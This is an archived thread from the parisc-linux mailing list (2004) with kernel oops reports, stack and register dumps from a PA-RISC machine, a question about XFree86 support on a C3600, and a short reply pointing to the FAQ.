 000000008c6587f8:  00000000000000ff 000000000012fdfc 00000000104140e0 000000001035d350
 000000008c6587d8:  425010f415ca015c 000000005d588b65 4da617703adf4af5 000000000019660d
 00000006587b8:  412e848000000000 0000000116400000 0000000000000000 000000000011a000
 000000008c658798:  000000000011a000 0000000000000000 0000000000000000 0c3ff80000000000
 000000008c658778:  000000000000000c 00000000001359cc 000000008c658670 0000000000000001
 000000008c658758:  000000000011a000 000000008b31c0f0 000000008f456540 000000000011a000
 000000008c658738:  0000000000000000 000000008b31c0f0 0000000000000000 0000000000000003
 000000008c658718:  0000000000000f00 000000008b31c0f0 00000000103f7b40 0000000000000002
 000000008c6586f8:  0000000000000004 000000000012ff10 000000008c658410 000000000011a000
 000000008c6586d8:  000000008d90c488 000000008f5f7268 000000008b31c0f0 0000000000000000
 000000008c6586b8:  0000000000000000 000000008f5f7268 000000008b31c0f0 0000000000000001
 000000008c658698:  00000000104140e0 000000008f5f7268 00000000103630e0 000000ff0804ff0f
 000000008c678:  0000000000000003 00000000101bac00 0000000000134248 0000000000000000
 000000008c658658:  0000000040374800 0000000000000001 000000000011a9f0 00000000104be340
 000000008c658638:  000000001018f4fc 0000000000000000 000000008b31c0f0 00000000104140e0
 000000008c658618:  000000008b31c150 0000000000000001 0000000000000000 000000008c658190
 000000008c6585f8:  000000008b31c0f0 00000000101b2ec0 00000000104140e0 00000000104140e0
 000000008c6585d8:  000000008a218000 0000000000000000 000000008fffe048 0000000000000001
 000000008c6585b8:  000000000000007e 0000000000019005 0000000000000001 000000000011a000
 000000008c658598:  000000008a9f3f10 0000000000000002 0000000000000000 0000000000000000
 000000008c658578:  000000008b31c0f0 000000008f5f7268 000000008e86cdd8 00000000104140e0
 000000008c658558:  0000000000000000 00000000104140e0 0000000000000001 0000000000000000
 000000008c658  000000008a9f3f10 0000000000000001 0000000031f45ae0 000000004043d178
 000000008c658518:  0000000031f45ae0 000000004043d178 000000008d90c488 0000000000000000
 000000008c6584f8:  00000000000000ff 00000000001272e0 00000000104140e0 0000000000000000
 000000008c6584d8:  000000005a2cf071 00000000104140e0 000000008e66d290 00000000104be460
 000000008c6584b8:  00000000101a1cb0 0000000000000000 00000000104140e0 000000008b31c0f0
 000000008c658498:  000000008b31c0f0 000000008a9f3f10 00000000104140e0 fffffffffffffffe
 000000008c658478:  000000008b31c1a8 000000008c658190 00000000103f7b40 0000000000000001
 000000008c658458:  0000000040374800 0000000000000000 0000000000134248 0000000000000001
 000000008c658438:  0000000000000003 000000000011e9f0 0000000000000000 0000000000000000
 000000008c658418:  0000000000000000 0000000000000000 0000000040333350 00000000faf03208
 000000008c6583f8:000000104140e0 00000000101ee154 00000000104140e0 0000000000011804
 000000008c6583d8:  00000000104140e0 000000008a218000 000000000000007e 0000000000011804
 000000008c6583b8:  0000000000011804 00000000104140e0 000000008a218000 0000000000000800
 000000008c658398:  00000000104140e0 000000008a9f3f10 000000000000003f 0000000000000000
 000000008c658378:  0000000000000000 00000000101a9730 000000008e66d298 00000000104140e0
 000000008c658358:  00000000faf00f08 000000008c658190 000000000012fafe 000000000000000c
 000000008c658338:  0000000000000000 000000000011a9f0 0000000000000001 0000000040374800
 000000008c658318:  0000000000000000 0000000000134248 0000000000000001 0000000000000003

Kernel addresses on the stack:
 [<000000001013c5f8>] scheduler_tick+0x3a8/0x888
 [<00000000000983d0>] sym53c8xx_intr+0x60/0xf8 [sym53c8xx]
 [<00000000101121b0>] do_irq+0xb8/0x190
 [<0000000010147408>] do_softirq+0xc8/0x150
 [<00000000101a8398>] locate_fd+0x130/0x1d0
 [<00000000101ef48c>] __udivdi3+0x1c/0x30
 [<000000001010c074>] intr_return+0x0/0x14
 [<0000000010190a80>] __find_get_block_slow+0x48/0x240
 [<0000000010192864>] __find_get_block+0xcc/0x190
 [<000000000012e830>] ext3_get_inode_block+0x1a8/0x230 [ext3]
 [<0000000010192960>] __getblk+0x38/0x80
 [<000000000012e934>] ext3_get_inode_loc+0x7c/0x400 [ext3]
 [<0000000010170814>] kmem_cache_alloc+0x1d4/0x2b0
 [<000000000012fce0>] ext3_reserve_inode_write+0x50/0x138 [ext3]
 [<00000000000bd718>] new_handle+0x30/0x78 [jbd]
 [<000000000012fdfc>] ext3_mark_inode_dirty+0x34/0x78 [ext3]
 [<00000000001359cc>] ext3_journal_start+0x8c/0x98 [ext3]
 [<000000000012ff10>] ext3_dirty_inode+0xd0/0xd8 [ext3]
 [<00000000101bac00>] __mark_inode_dirty+0x50/0x128
 [<00000000101b2ec0>] update_atime+0xe8/0x130
 [<00000000001272e0>] ext3_readdir+0x158/0x568 [ext3]
 [<00000000101ee154>] __divdi3+0x74/0xd0
 [<00000000101a9730>] vfs_readdir+0x108/0x128
 [<00000000101a9da8>] sys_getdents64+0x70/0xf8
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c094>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=000000008c658d80 (Addr=0000000000016031)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000011101111111100001111 Not tainted
r00-03  0000000000000000 000000001049eea0 000000001016402c 0000000000000000
r04-07  00000000104140e0 00000000104140e0 0000000000018005 0000000000000000
r08-11  000000008b31c0f0 000000008b31c0f0 000000008f5f7268 0000000000018005
r12-15  000000008c658710 000000008c658410 0000000000000000 0000000000000004
r16-19  0000000000000002 00000000103f7b40 000000008c658190 0000000000016029
r20-23  0000000000000000 0000000000016001 00000000fffffffa 000000000000003f
r24-27  0000000000001000 0000000000018005 0000000000016031 00000000104140e0
r28-31  0000000000000000 000000008c658cf0 000000008c658d80 000000000000f380
sr0-0000000000004a80 0000000000004a80 0000000000000000 0000000000004a80
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101e7da0 00000000101e7d40
 IIR: 0f4010dc    ISR: 0000000000000000  IOR: 0000000000016031
 CPU:        8   CR30: 000000008c658000 CR31: 00000000103e8000
 ORIG_R28: 0000000010147408
 IAOQ[0]: radix_tree_lookup+0x80/0x88
 IAOQ[1]: radix_tree_lookup+0x20/0x88
 RP(r2): find_get_page+0x1c/0x50

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another kernel oops
Date: Tue, 2 Mar 2004 11:06:23 +0100
Lines: 185
Approved: news@gmane.org
Message-ID: <20040302100622.GL2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623233 6234 80.91.229.3 (22 Nov 2014 02:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Tue Mar  2 03:06:25 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id D862C4868
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 03:06:23 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1Ay6n9-0004Us-5V
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 11:06:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 10:06:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20966

Same machine, same kernel:

Stack Dump:
 000000008eb90ff8:  000000008eb90ff8 0000000000000000 0000000000000000 0000000000000000
 000000008eb90fd8:  000000000001ac80 0000000000000000 000000000001ac80 000000000001ac80
 000000008eb90fb8:  0000000000000002 000000001013f37c 00000000f000028c 0000000000000802
 000000008eb90f98:  0000000010471020 0000000013262000 0000000000000000 000007b100000802
 000000008eb90f78:  0000000000000000 000000008eb90a80 0000000000000000 0000000010471020
 000008eb90f58:  000000000000001a c00000000000005f ffffffffffffffff ffffffffffffffff
 000000008eb90f38:  ffffffffffffffff 000000001010dfd4 ffffffffffffffff ffffffffffffffff
 000000008eb90f18:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 000000008eb90ef8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 000000008eb90ed8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90eb8:  0000000010480820 000000008eb90dc0 000000008eb90eb0 0000000000000001
 000000008eb90e98:  0000000010471020 00000000000000f0 0000000000000045 000000008eb90838
 000000008eb90e78:  000000008eb94bf8 0000000000000001 0000000000000000 0000000000000001
 000000008eb90e58:  fe00000000000000 00000000103f2b18 0000000000000000 000000008eb90a80
 000000008eb90e38:  0000000000000000 0000000000000001 000000008f5c6ac0 000000008eb90410
 000008eb90e18:  000000008eb94cf0 000000008eb90690 000000000000000f 0000000000000000
 000000008eb90df8:  0000000010471020 000000008eb94bf8 0000000010471020 0000000000000000
 000000008eb90dd8:  0000000010471020 0000000010109074 0000000010477020 0000003f0806ff0f
 000000008eb90db8:  0000000000000f2a 0000000010109094 000000008ede1980 000000008eaa1730
 000000008eb90d98:  0000000000000f2b 000000008ede1980 000000000000adf6 000000008eb90d00
 000000008eb90d78:  0000000010471020 00000000101decf4 000000001305cab0 0000000000000001
 000000008eb90d58:  00000000000000d2 0000000010471020 000000008f1726a0 0000000010471020
 000000008eb90d38:  000000008eb90c10 0000000088610450 000000008eaa1638 c00000000000005f
 000000008eb90d18:  0000000000000000 00000000529300c0 000000000000001b 000000008b62a0c0
 000000008eb90cf8:  0000000012d5e860 00000000101deed0 0000000010471020 0000000000000000
 000000eb90cd8:  00000000101ae030 00000000101ae02c 0000000000000000 0000000000000000
 000000008eb90cb8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90c98:  000000000001ac80 0000000000000000 000000000001ac80 000000000001ac80
 000000008eb90c78:  0000000000000002 000000001013f37c 00000000f000028c 0000000000000802
 000000008eb90c58:  0000000010471020 0000000013262000 0000000000000000 000007b100000802
 000000008eb90c38:  0000000333333334 cccccccd47ae16ac 0000000013262000 0000000000000002
 000000008eb90c18:  000000008ffa7a80 0000000000000002 ffffffffffffffff ffffffffffffffff
 000000008eb90bf8:  ffffffffffffffff 00000000101a35a0 ffffffffffffffff ffffffffffffffff
 000000008eb90bd8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 000000008eb90bb8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 0000000080b98:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90b78:  0000000010472020 000000008eb90a80 000000008eb90970 ffffffffffffffea
 000000008eb90b58:  0000000010471020 000000008eb94bf8 0000000000000001 0000000000000001
 000000008eb90b38:  0000000000000000 0000000000000000 0000000000000408 ffffffffffffffff
 000000008eb90b18:  0000000000000000 00000000103f2b18 0000000000000000 000000008eb94bf8
 000000008eb90af8:  0000000000000000 0000000000000001 000000008f5c6ac0 000000008eb90410
 000000008eb90ad8:  000000008eb94cf0 000000008eb90690 000000000000000f 0000000000000000
 000000008eb90ab8:  0000000000000001 0000000000000000 0000000000000001 000000008eb94bf8
 000000008eb90a98:  000000008eb90838 00000000101639b4 000000008eb90470 000000ff0806f00f
 000000008eb90a78:  000000008eb90840 00000000101db1d8 000000008f5c68c0 0000000000000000
 000000008eb98:  0000000012d0a300 0000000010471020 0000000010471020 0000000012d0a300
 000000008eb90a38:  00000000103ec048 0000000000000000 00000000000000d0 0000000000000010
 000000008eb90a18:  0000000010471020 0000000000000000 000000001047c820 0000007f0804ff0f
 000000008eb909f8:  000000000000a000 000000001023c7e4 0000000000000000 000000008eb90838
 000000008eb909d8:  000000008eb90838 0000000000000000 0000000010471020 000000008eb94bf8
 000000008eb909b8:  0000000010471020 0000000000000000 0000000012d53640 00000000103ec048
 000000008eb90998:  0000000012d0a300 0000000010471020 0000000000000000 0000000012d53640
 000000008eb90978:  0000000000040001 00000000101639b4 0000000000000000 0000000000000000
 000000008eb90958:  0000000000000010 00000000000000d0 0000000000000000 00000000103ec048
 000000008eb90938:  0000000012d1c0f0 0000000010471020 0000000010471020 000000008eedb2c0
 000000008eb9091000000008eedb2c0 0000000010471020 0000000010475020 000000ff0806ff0f
 000000008eb908f8:  ffffffffffffffff 00000000102d0e70 000000008eb908d8 000000008eb90780
 000000008eb908d8:  000000008eb90410 000000008eb94bf8 0000000010471020 0000000010471020
 000000008eb908b8:  000000008eb94cb0 000000000000000f 0000000000000000 000000008eb90290
 000000008eb90898:  000000008f5c6af8 0000000000000000 000000008eb90290 0000000000026940
 000000008eb90878:  0000000000000000 0000000000000004 0000000000000000 0000000000000004
 000000008eb90858:  000000008eb90470 0000000000000000 000000008eb90690 0000000000000000
 000000008eb90838:  000000000000000f 00000000000cfb96 0000000010471020 000000008eedb2c0
 000000008eb90818:  0000000010471020 0000000010471020 0000000000000000 000000008eb90780
 000000008eb907f8:  000000008ede1780 00000000102d0f4c 0000000000000040 0000000000000000
 000000008eb907d8:  00008eb90310 0000000010471020 000000008ffa4bb0 0000000010471020
 000000008eb907b8:  0000000000000000 000000000000003a 0000000000000000 000000000000003a
 000000008eb90798:  000000008eedb2c0 0000000000000000 000000000800000e 000000008eb90680
 000000008eb90778:  0000000012e0eb20 0000000010164470 0000000010471020 000000008eb90580
 000000008eb90758:  0000000010471020 0000000010471020 0000000000000000 000000000800000f
 000000008eb90738:  0000000010471020 0000000010471020 0000000010471020 000000008eb90590
 000000008eb90718:  0000000010471020 0000000010471020 0000000000000019 000000008eb90680
 000000008eb906f8:  000000008c35b468 00000000102d3be0 000000008c35b470 000000008eedb2c0
 000000008eb906d8:  0000000000000000 000000008eb90220 0000000010471020 000000008eb94bf8
 000000008eb906b8:  000000008f5c6ac0 000000008f5c6af8 0000000010471020 0000000010471020
 000000008eb90698:  00000000000f 000000000002b308 7fffffffffffffff 000000008eedb2c0
 000000008eb90678:  0000000000000002 00000000101d6afc 00000000f000028c 000000008eb90480
 000000008eb90658:  0000000010471020 00000000886103f0 0000000010471020 000000000800000f
 000000008eb90638:  0000000010471020 000000008f67e7c0 0000000010471020 000000008eb90410
 000000008eb90618:  000000008f5c6af8 000000008f5c6ac0 0000000000000000 0000000000000000
 000000008eb905f8:  0000000010471020 0000000010189f64 0000000010410420 00000000000003fe
 000000008eb905d8:  00000000faf003a0 0000000000000000 0000000000000000 000000008eb90260
 000000008eb905b8:  0000000000000000 0000003a00000000 0000000000000000 0000000000000000
 000000008eb90598:  0000000000000000 000000ca00000000 000000008f628800 7fffffffffffffff
 000000008eb90578:  ffffffffffffffff 00000000102cc06c ffffffffffffffff 0000000000000000
 000000008eb90558:  000000001020 0000000010450440 000000008eb902a0 0000000000000005
 000000008eb90538:  000000008eb901c0 0000000010624800 000000008eb901b0 0000000085670010
 000000008eb90518:  0000000000000000 0000000010471020 0000000000000035 0000000010456f60
 000000008eb904f8:  0000000010471020 00000000101a50cc 000000008ede1880 000000008ede1780
 000000008eb904d8:  0000000000000304 0000000000000000 000000008ffa4b80 0000000010471020
 000000008eb904b8:  0000000000000000 000000008eb90290 000000008ede1780 0000000000000304
 000000008eb90498:  0000000000080000 0000000000000001 0000000000000000 00000000faf003a0
 000000008eb90478:  0000000000026940 00000000000cfb96 0000000000015800 000000008f685b58
 000000008eb90458:  000000000000000a 000000000800000e 0000000000000002 0000000000000000
 000000008eb90438:  000000008f628a68 000000008f5c6ac0 00000001ffffffff 0000000000000000
 000000008eb90418:  000000000000 000000008ffa4b80 00000000000003fe 000000008f686098
 000000008eb903f8:  0000000010471020 000000001011ca44 0000000010471020 000000008f685b58
 000000008eb903d8:  0000000000000000 0000000000000000 0000000000040001 0000000000000000
 000000008eb903b8:  000000008f628a68 0000000000000000 00000001ffffffff 0000000000000000
 000000008eb90398:  0000000010471020 0000000000000000 0000000000000052 0000000000026940
 000000008eb90378:  000000000000f380 00000000102cdd1c 000000008c35b450 000000008f5c6ac0
 000000008eb90358:  0000000010471020 0000000000000006 00000000faf011d0 fffffffffffffff7
 000000008eb90338:  00000000faf011d0 0000000000000002 0000000000027208 0000000000026b50
 000000008eb90318:  0000000000027140 0000000000027140 00000000faf00310 0000000000026ae8
 000000008eb902f8:  00000000faf003a0 0000000000026940 0000000000000001 0000000000015b00
 000000008eb902d8:  0000000000000026000000002b218 0000000000000001 0000000000016000
 000000008eb902b8:  0000000000000007 000000000002b318 0000000000000001 0000000000016000
 000000008eb90298:  000000000000000f 000000000002b308 0000000000000400 0000007f0804ff0f
 000000008eb90278:  0000000000000005 000000001011cc18 000000008f686098 0000000000000000
 000000008eb90258:  000000003ccbf000 0000000000000012 0000000000000000 0000000000000000
 000000008eb90238:  0000000000000001 000000008eb90210 0000000000026ae8 000000008eb90260
 000000008eb90218:  00000000000003c4 00000000faf003da 0000000000015800 0000000000026940
 000000008eb901f8:  0000000000015800 00000000102cdd88 0000000000026940 0000000040187740
 000000008eb901d8:  0000000000000040 7fffffffffffffff 00000000faf011d0 0000000000000000
 000000008eb901b8:  000000008c35b468 000000000002af60 0000000040186108 0000000000000006
 000000008eb90198:  0000000000000002 0000faf011d0 000000008f685b58 00000000faf01740
 000000008eb90178:  0000000000000000 0000000010109e4c 0000000000026940 000000000002b318
 000000008eb90158:  00000000faf00ce0 0000000000000002 0000000000000026 0000000000000001
 000000008eb90138:  000000000001576f 0000000040186108 0000000000000004 0000000000000004
 000000008eb90118:  00000000faf01248 0000000000000004 0000000010477020 000000000002af60
 000000008eb900f8:  0000000000000000 0000000010109074 0000000000000000 0000000000000000
 000000008eb900d8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb900b8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90098:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90078:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90058:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90038:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008eb90018:  0000000100000000 0000000000000008 00000000103e71d0

Kernel addresses on the stack:
 [<00000000101decf4>] ext3_mark_iloc_dirty+0x3c/0x70
 [<00000000101deed0>] ext3_mark_inode_dirty+0x70/0x78
 [<000000001013f37c>] call_console_drivers+0xe4/0x1e8
 [<00000000101a35a0>] locate_fd+0x130/0x1d0
 [<00000000101db1d8>] ext3_ordered_commit_write+0xf8/0x180
 [<000000001023c7e4>] __divdi3+0x74/0xd0
 [<00000000101639b4>] generic_file_aio_write_nolock+0x23c/0xba8
 [<00000000102d0e70>] skb_release_data+0xf8/0x198
 [<00000000102d0f4c>] kfree_skbmem+0x3c/0x58
 [<0000000010164470>] generic_file_aio_write+0xc0/0x130
 [<00000000102d3be0>] skb_free_datagram+0x58/0x60
 [<00000000101d6afc>] ext3_file_write+0x34/0x108
 [<0000000010189f64>] do_sync_write+0x84/0xc8
 [<00000000102cc06c>] sock_recvmsg+0xa4/0xe8
 [<00000000101a50cc>] poll_freewait+0x6c/0x90
 [<000000001011ca44>] do_readv_writev32+0x23c/0x2c0
 [<00000000102cdd1c>] sys_recvfrom+0x11c/0x160
 [<000000001011cc18>] sys32_writev+0x80/0xd0
 [<00000000102cdd88>] sys_recv+0x28/0x40
 [<0000000010109e4c>] syscall_exit+0x0/0x14
 [<0000000010109074>] intr_return+0x0/0x14


Kernel Fault: Code=26 regs=000000008eb90a80 (Addr=c00000000000005f)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111000000001111 Not tainted
r00-03  0000000000000000 000000008eb90470 00000000101639b4 000000008eb90838
r04-07  000000008eb94bf8 0000000000000001 0000000000000000 0000000000000001
r08-11  0000000000000000 000000000000000f 000000008eb90690 000000008eb94cf0
r12-15  000000008eb90410 000000008f5c6ac0 00000000001 0000000000000000
r16-19  000000008eb94bf8 0000000000000000 00000000103f2b18 0000000000000000
r20-23  ffffffffffffffff 0000000000000408 0000000000000000 0000000000000000
r24-27  0000000000000001 0000000000000001 000000008eb94bf8 0000000010471020
r28-31  ffffffffffffffea 000000008eb90970 000000008eb90a80 0000000010472020
sr0-3   000000000001ac80 000000000001ac80 0000000000000000 000000000001ac80
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101ae02c 00000000101ae030
 IIR: 529300c0    ISR: 0000000000000000  IOR: c00000000000005f
 CPU:        8   CR30: 000000008eb90000 CR31: 0000000010440000
 ORIG_R28: 00000000101deed0
 IAOQ[0]: inode_update_time+0x34/0x110
 IAOQ[1]: inode_update_time+0x38/0x110
 RP(r2): generic_file_aio_write_nolock+0x23c/0xba8


-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yuri Kozlov" <yuray@id.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 02 Mar 2004 15:25:38 +0300
Lines: 9
Approved: news@gmane.org
Message-ID: <web-121291162@backend3.aha.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="KOI8-R"; format="flowed"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623233 6237 80.91.229.3 (22 Nov 2014 02:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: yuray@id.ru  Tue Mar  2 05:25:41 2004
Return-Path: <yuray@id.ru>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from frontend1.aha.ru (frontend1.aha.ru [195.2.83.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6442748B1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 05:25:40 -0700 (MST)
Original-Received: from [195.2.83.133] (HELO backend3.aha.ru)
	by frontend1.aha.ru (CommuniGate Pro SMTP 4.1.8)
	with ESMTP id 12446078 for parisc-linux@lists.parisc-linux.org;
	Tue, 02 Mar 2004 15:25:38 +0300
Original-Received: from [195.230.87.105] (account yuray@id.ru)
	by backend3.aha.ru (CommuniGate Pro WebUser 4.1.8)
	with HTTP id 121291162 for parisc-linux@lists.parisc-linux.org;
	Tue, 02 Mar 2004 15:25:38 +0300
X-Mailer: CommuniGate Pro WebUser Interface v.4.1.8
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 12:25:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20967

Hello.
I have C3600 with FX10 video card.
How Xfree86 make work ?
I seen driver for linux rh 7.2 on hp site, but this compiled is not 
for RISC processor ?

Regards,
Yuri Kozlov


From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (no subject)
Date: Tue, 2 Mar 2004 04:34:19 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20040302123419.GE22860@tausq.org>
References: <web-121291162@backend3.aha.ru>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623234 6239 80.91.229.3 (22 Nov 2014 02:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yuri Kozlov <yuray@id.ru>
Original-X-From: randolph@tausq.org  Tue Mar  2 05:34:20 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 379C348CE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 05:34:20 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id ED4B9CD28A; Tue,  2 Mar 2004 04:34:19 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <web-121291162@backend3.aha.ru>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 12:34:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20968

> I have C3600 with FX10 video card.
> How Xfree86 make work ?
> I seen driver for linux rh 7.2 on hp site, but this compiled is not 
> for RISC processor ?

this is a faq. please read the faq on the web page or the list archives.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: another kernel oops
Date: Tue, 2 Mar 2004 14:03:23 +0100
Lines: 168
Approved: news@gmane.org
Message-ID: <20040302130323.GA17623@wiggy.net>
References: <20040302100622.GL2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623234 6243 80.91.229.3 (22 Nov 2014 02:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Tue Mar  2 06:03:26 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8D8B48D3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 06:03:24 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1Ay9YS-00050f-01
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 14:03:24 +0100
Content-Disposition: inline
In-Reply-To: <20040302100622.GL2502@wiggy.net>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
